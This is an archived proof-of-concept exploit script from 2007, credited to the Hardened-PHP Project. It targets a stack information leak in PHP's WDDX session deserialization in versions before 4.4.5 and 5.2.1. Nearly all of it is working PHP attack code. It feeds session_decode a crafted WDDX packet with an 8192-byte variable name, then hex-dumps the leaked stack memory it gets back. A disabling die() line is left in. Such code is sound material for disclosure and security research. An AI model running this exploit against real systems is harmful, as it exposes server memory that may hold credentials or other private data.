PHP < 4.4.5 / 5.2.1 WDDX Session Deserialization Information Leak

&#60;?php //////////////////////////////////////////////////////////////////////// // _ _ _ _ ___ _ _ ___ // // | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ // // | __ |/ _` || &#39;_|/ _` |/ -_)| &#39; \ / -_)/ _` ||___|| _/| __ || _/ // // |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| // // // // Proof of concept code from the Hardened-PHP Project // // (C) Copyright 2007 Stefan Esser // // // //////////////////////////////////////////////////////////////////////// // PHP WDDX Session Deserialization Stack Information Leak // //////////////////////////////////////////////////////////////////////// // This is meant as a protection against remote file inclusion. die(&#34;REMOVE THIS LINE&#34;); if (!extension_loaded(&#34;wddx&#34;)) { die(&#34;wddx extension needed\n&#34;); } ini_set(&#34;session.serialize_handler&#34;, &#34;wddx&#34;); session_start(); session_decode(&#34;&#60;wddxPacket version=&#39;1.0&#39;&#62;&#60;header/&#62;&#60;data&#62;&#60;struct&#62;&#60;var name=&#39;&#34;.str_repeat(&#34;A&#34;,8192).&#34;&#39;&#62;&#60;string&#62;A&#60;/string&#62;&#60;/var&#62;&#60;var name=&#39;1&#39;&#62;&#60;string&#62;1&#60;/string&#62;&#60;/var&#62;&#60;/struct&#62;&#60;/data&#62;&#60;/wddxPacket&#62;&#34;); $keys = array_keys($_SESSION); $stackdump = $keys[1]; echo &#34;Stackdump\n---------\n\n&#34;; for ($b=0; $b&#60;strlen($stackdump); $b+=16) { printf(&#34;%08x: &#34;, $b); for ($i=0; $i&#60;16; $i++) { printf (&#34;%02x &#34;, ord($stackdump[$b+$i])); } for ($i=0; $i&#60;16; $i++) { $c = ord($stackdump[$b+$i]); if ($c &#62; 127 || $c &#60; 32) { $c = ord(&#34;.&#34;); } printf (&#34;%c&#34;, $c); } printf(&#34;\n&#34;); } ?&#62; # milw0rm.com [2007-03-04]